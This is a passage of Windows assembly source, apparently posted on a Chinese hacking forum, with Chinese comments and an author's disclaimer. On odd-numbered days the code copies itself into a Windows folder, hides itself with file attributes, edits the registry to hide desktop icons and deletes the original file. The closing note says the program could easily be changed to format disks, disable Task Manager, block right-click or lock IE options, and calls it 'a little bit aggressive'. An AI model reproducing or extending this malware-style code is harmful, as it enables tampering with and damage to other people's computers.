movzx ebx,lpsystemtime.wday ;获取本地日,你可以判断这个变量就可以了,
.if (ebx == 1)||(ebx == 3)||(ebx == 5)||(ebx == 7)||(ebx == 9)||(ebx == 11)||(ebx == 13)||
(ebx == 15)||(ebx == 17)||(ebx == 19)||(ebx == 21)||(ebx == 23)||(ebx == 25)||(ebx == 27)
||(ebx == 29)
invoke getmodulefilename,hmodule,addr szdirectory,200;获取程序路径
invoke copyfile,addr szdirectory,addr szwin,false
call _attribcmd
invoke _writekey,null ;修改注册表,隐藏桌面图表
invoke deletefile,addr szdirectory
invoke exitprocess,null
.endif
end start
这个程序要是经过恶意修改,格式化磁盘是完全没问题的,无非就是调用一个“createprocess”,但是知道了一种调用方法,其他的也是千篇 一律,例如对注册表修改,禁止右键,禁止使用任务管理器,禁止ie选项等等所以我声明一下,这个程序带有一点点的攻击性,发表仅仅提供交流,如果使用,后果由使用者自己负责,与作者和邪恶八进制无关,呵呵!
注:本文内容有一定危险性,任何人不得利用本文技术做非法的事情。
★
★ 编写科幻故事作文